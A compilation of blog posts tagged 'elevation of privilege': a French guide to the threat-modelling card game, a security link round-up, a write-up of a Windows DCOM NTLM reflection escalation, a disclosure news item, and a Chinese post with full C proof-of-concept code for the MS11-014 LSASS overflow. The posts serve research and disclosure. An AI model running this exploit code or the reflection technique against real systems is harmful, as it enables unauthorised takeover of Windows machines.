#elevation of privilege

[limawifr]

Elevation of Privilege

Elevation of Privilege est un jeu de cartes qui permet de modéliser les menaces sur un système.

Méthode agile : Présentation générale

Modèle de menace

Un modèle de menace est un outil qui permet de déterminer à l’avance les fragilités d’un système et les moyens d’y remédier.

Dans la méthode agile, il est continuellement mis à jour. Il doit suivre le produit existant et s’adapter rapidement aux nouvelles évolutions.

Comment y parvenir ?

Schémas et diagrammes

Dans un premier temps, il est nécessaire de documenter votre projet. Il doit avoir des représentations visuelles de ses composants et des flux d’informations.

Une des manières de représenter ces données est le langage UML. Le problème est que ce langage est complexe à écrire et à mettre à jour pour un être humain.

Il est donc préférable d’automatiser au maximum la documentation et ses diagrammes (qu’ils soient en UML ou une autre représentation) pour pouvoir les produire facilement à chaque évolution du projet.

Si les diagrammes sont faits manuellement, des dessins de patates suffisent. Il faut juste qu’ils soient compréhensibles par tous les membres de l’équipe.

Une fois ces diagrammes faits, on va pouvoir les étudier pour en déceler les failles. Et ce, de façon ludique, grâce au jeu « Elevation of Privilege ».

Les règles du jeu

Pour cela, prévoyez une phase de la cérémonie de sprint dédiée à ça.

L’équipe est assise autour d’une table. Le diagramme de la partie du projet à analyser est étalé sur la table visible de tous.

Le jeu de carte « Elevation of Privilege » est disponible en dessous.

Distribuez toutes les cartes aux joueurs. La partie commence avec le « 3 of tampering ». Jouez dans le sens des aiguilles d’une montre.

Cela ressemble beaucoup aux règles du Tarot.

Chaque joueur continue dans la même suite s’il a une carte dans la suite. Sinon, il joue une carte d’une autre suite.

Chaque pli (un tour de table) est gagné par celui qui a la plus haute carte dans la suite demandée au départ, sauf si une carte « Elevation of Privilege » est jouée (dans ce cas c’est la plus forte de ces cartes qui l’emporte).

Pour jouer une carte, le joueur doit l’annoncer et essayer de trouver sa menace sur le diagramme. Le système peut être résistant à cette menace. Dans ce cas, il est impossible de trouver la menace sur le diagramme.

Le joueur doit annoncer clairement sa menace. Pour être valide, elle doit amener à la création d’une histoire (NFR d’ouverture de bug, User Story, …) dans le projet.

À la fin du pli (quand tous les joueurs ont posé une carte de leur main), tous ceux qui ont réussi à trouver leur menace sur le diagramme ont un point. Si celui qui a gagné le pli a réussi aussi à trouver sa menace sur le diagramme, il gagne un point supplémentaire.

Le gagnant du pli démarre le pli suivant et choisit la suite de départ. Prenez quelques minutes entre chaque pli pour étudier les menaces.

Les cartes « Elevation of privilege » gagnent sur toutes les autres. Elles ne peuvent être jouées que quand le joueur n’a pas de carte dans la suite demandée (ou si la suite demandée est elle-même « Elevation of privilege »).

Les « As » sont des cartes qui permettent de trouver des menaces non prévues dans la suite demandée. Le joueur doit expliquer la menace elle-même.

Quand toutes les cartes ont été jouées (tous les plis ont été faits), celui qui a le plus de points l’emporte.

Annotez votre diagramme en fonction des menaces trouvées.

Vous pouvez faire passer les mains d’un joueur à l’autre entre chaque pli. Cela permet que les joueurs spécialisés puissent jouer des cartes que des joueurs précédents ne comprenaient pas.

D’autres joueurs que celui qui annonce sa carte peuvent surenchérir sur sa carte en trouvant la menace annoncée à d’autres emplacements que ceux trouvés par celui qui joue. Ils gagnent un point supplémentaire.

Téléchargez « Elevation of Privilege » et son extension « Elevation of Privacy », avec les règles EoP et une planche de dos de cartes.

Sources

EoP, license Creative Commons attribution 3

Eop (extension privacy), licence Creative Commons

EoPrivacy, license Creative Commons attribution 4

View this post on Instagram

A post shared by Limawi français (@limawi.official.fr) on May 6, 2020 at 1:57am PDT

View this post on Instagram

A post shared by Limawi français (@limawi.official.fr) on May 6, 2020 at 1:59am PDT

[thesecuritysleuth]

Sunday Round up: 3rd of April 2016

Here is the round up for the week ending the 3rd of April 2016:

Articles:

Cogent Datahub <= 7.3.9 Gamma Script Elevation of Privilege: https://www.exploit-db.com/exploits/39630/

Pen-testing cheatsheets on GitHub: https://github.com/jshaw87/Cheatsheets

PentestBox 2.0 - Portable Penetration Testing Distribution for Windows Environments: http://www.kitploit.com/2016/03/pentestbox-20-portable-penetration.html?utm_source=dlvr.it&utm_medium=facebook&m=1

Firmwalker - Script for searching the extracted firmware file system for goodies!: http://www.kitploit.com/2016/03/firmwalker-script-for-searching.html?utm_source=dlvr.it&utm_medium=facebook&m=1

Facebook:

Also I'm now on facebook thanks to IFTTT check me out here

Twitter:

"Cunning scam: Mobe app tracks victims to email booby-trapped bogus speeding tickets" #infosec #feedly https://t.co/oM7K7U1dZN

— The Security Sleuth (@Security_Sleuth) March 28, 2016

How to Monitor Your External Network Using Shodan: https://t.co/mR0aE2wvrD

— Shodan (@shodanhq) March 28, 2016

"FBI Has Successfully Unlocked Terrorist's iPhone Without Apple's Help" #infosec #feedly https://t.co/9un8BfDD4j

— The Security Sleuth (@Security_Sleuth) March 30, 2016

"Infosec miscreants are peddling malware that will KO your router" #infosec #feedly https://t.co/gnunx2LzPc

— The Security Sleuth (@Security_Sleuth) March 30, 2016

"Linux command-line tools are coming to Windows 10" #tech #feedly https://t.co/0ZdgGyOURh

— The Security Sleuth (@Security_Sleuth) March 30, 2016

Read last weeks round up here

If you found some other interesting stuff this week feel free to leave a link to it in the comments section.

[cybersquadblog-blog]

Windows: DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege

Windows: DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege Platform: Windows 8.1 Update (not tested on Windows 7, 10) Class: Elevation of Privilege Summary: Local DCOM DCE/RPC connections can be reflected back to a listening TCP socket allowing access to an NTLM authentication challenge for LocalSystem user which can be replayed to the local DCOM activation service to elevate privileges. Description: Note, before we start I realize that you didn’t fix the WebDAV => SMB one, you might conclude that this is a won’t fix as well but I couldn’t find good documentation on how to improve the security situation with DCOM-DCE/RPC to mitigate it (at least anything which seemed to work). Also the behaviour is slightly different. I did point out in the original report that WebDAV wasn’t necessarily the only way of getting an NTLM authentication challenge, with DCE/RPC being a specific example. Anyway on to the description. When a DCOM object is passed to an out of process COM server the object reference is marshalled in an OBJREF stream. For marshal-by-reference this results in an OBJREF_STANDARD stream being generated which provides enough information to the server to locate the original object and bind to it. Along with the identity for the object is a list of RPC binding strings (containing a TowerId and a string). This can be abused to connect to an arbitrary TCP port when an unmarshal occurs by specifying the tower as NCACN_IP_TCP and a string in the form “host[port]”. When the object resolver tries to bind the RPC port it will make a TCP connection to the specified address and if needed will try and do authentication based on the security bindings.  For more stories Joined us:  Hakon India ; cybersquadblog on Facebook |  Twitter |  Linkedin

[computermagazine]

Google Discloses Another Unpatched Windows 8.1 Vulnerability

Google Discloses Another Unpatched Windows 8.1 Vulnerability

Google has once again released the details of a new privilege escalation bug in Microsoft’s Windows 8.1 operating system before Microsoft planned to patch the bug, triggering a new quarrel between the two tech giants.

This is second time in less than a month when the Google’s security research team known as Project Zero released details of the vulnerability in Microsoft’s operating system,

View On WordPress

[hehe-yx]

MS11 - 014

从 BugZone 作者：[email protected] (wpulog)

    Microsoft Windows  本地安全授权子系统服务(LSASS)进程处理特制的身份验证请求时存在权限提升漏洞，攻击者可利用此漏洞以提升的权限执行代码，从而完全控制受影响系统。

// @author      : m_101 // @website     : http://binholic.blogspot.com/ // @licence     : beerware // @year        : 2012 // @reference   : MS11-014 // @source      : Jorge Moura and http://newsoft-tech.blogspot.com/2012/01/ms11-014-this-is-not-bug-your-are.html #include <stdio.h> #include <stdlib.h> #define _WIN32_WINNT 0x0501 #include <windows.h> #include <tchar.h> #include <stdint.h> #define ALPHA_UPPER     "ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define ALPHA_LOWER     "abcdefghijklmnopqrstuvwxyz" #define DIGITS          "0123456789" // create unique pattern (useful for finding eip offset in bof for example) // thanks to the msf project for the algorythm // the code is a dirty hack, could be more optimized unsigned char* pattern_create (size_t szPattern) {     unsigned char **charsets;     size_t *szCharsets, nCharsets, *offsets, idxPattern;     long idxOffset;     //     unsigned char *pattern;     if (!szPattern)         return NULL;     // pattern     pattern = calloc (szPattern + 1, sizeof(*pattern));     if (!pattern)     {         return NULL;     }     // charsets     nCharsets = 3;     charsets = calloc (3, sizeof(*charsets));     // the charsets     charsets[0] = strdup(ALPHA_UPPER);     charsets[1] = strdup(ALPHA_LOWER);     charsets[2] = strdup(DIGITS);     // charsets size     szCharsets = calloc (3, sizeof(*szCharsets));     szCharsets[0] = sizeof(ALPHA_UPPER) - 1;     szCharsets[1] = sizeof(ALPHA_LOWER) - 1;     szCharsets[2] = sizeof(DIGITS) - 1;     // offsets     offsets = calloc (nCharsets, sizeof(*offsets));     // pattern     pattern = calloc (szPattern + 1, sizeof(*pattern));     if (!pattern)     {         // cleanup         goto cleanup;     }     // we construct pattern     idxPattern = 0;     while (idxPattern < szPattern)     {         // concat         //*         for (idxOffset = 0; idxOffset < nCharsets && idxPattern < szPattern; idxOffset++)         {             pattern[idxPattern] = charsets[idxOffset][offsets[idxOffset]];             idxPattern++;         }         //*/         // increment offset if we wrap back to 0         idxOffset = nCharsets - 1;         while (idxOffset >= 0 && ((offsets[idxOffset] = (offsets[idxOffset] + 1) % szCharsets[idxOffset]) == 0))         {             //pattern[idxPattern] = charsets[idxOffset][offsets[idxOffset]];             //idxPattern++;             idxOffset -= 1;         }     }     // cleanup cleanup:     for (idxOffset = 0; idxOffset < nCharsets; idxOffset++)         free(charsets[idxOffset]);     free(charsets);     free(offsets);     free(szCharsets);     return pattern; } char* byte_repeat(uint8_t byte, size_t n) {     char *buffer;     // alloc buffer     buffer = calloc(n+1, sizeof(*buffer));     if (!buffer)         return NULL;     memset(buffer, byte, n);     return buffer; } int main(int argc, char *argv[]) {     char *buffer;     HANDLE hToken;     int idx;     // overflow     for (idx = 0; idx < 2048; idx += 4)     {         buffer = pattern_create(idx);         LogonUser(             _T("username"),             (TCHAR*)buffer,             _T("password"),             LOGON32_LOGON_NEW_CREDENTIALS, // defined as 9             LOGON32_PROVIDER_WINNT50, // defined as 0             &hToken         );         printf("pattern(%5d): %s\n", idx, buffer);         free(buffer);         ImpersonateLoggedOnUser(hToken);     }     // trigger     CreateFile(         _T("\\\\127.0.0.1\\c$\\boot.ini"),         GENERIC_READ,         FILE_SHARE_READ|FILE_SHARE_WRITE,         NULL, // security attributes         OPEN_EXISTING,         FILE_ATTRIBUTE_NORMAL,         NULL     );     return 0; }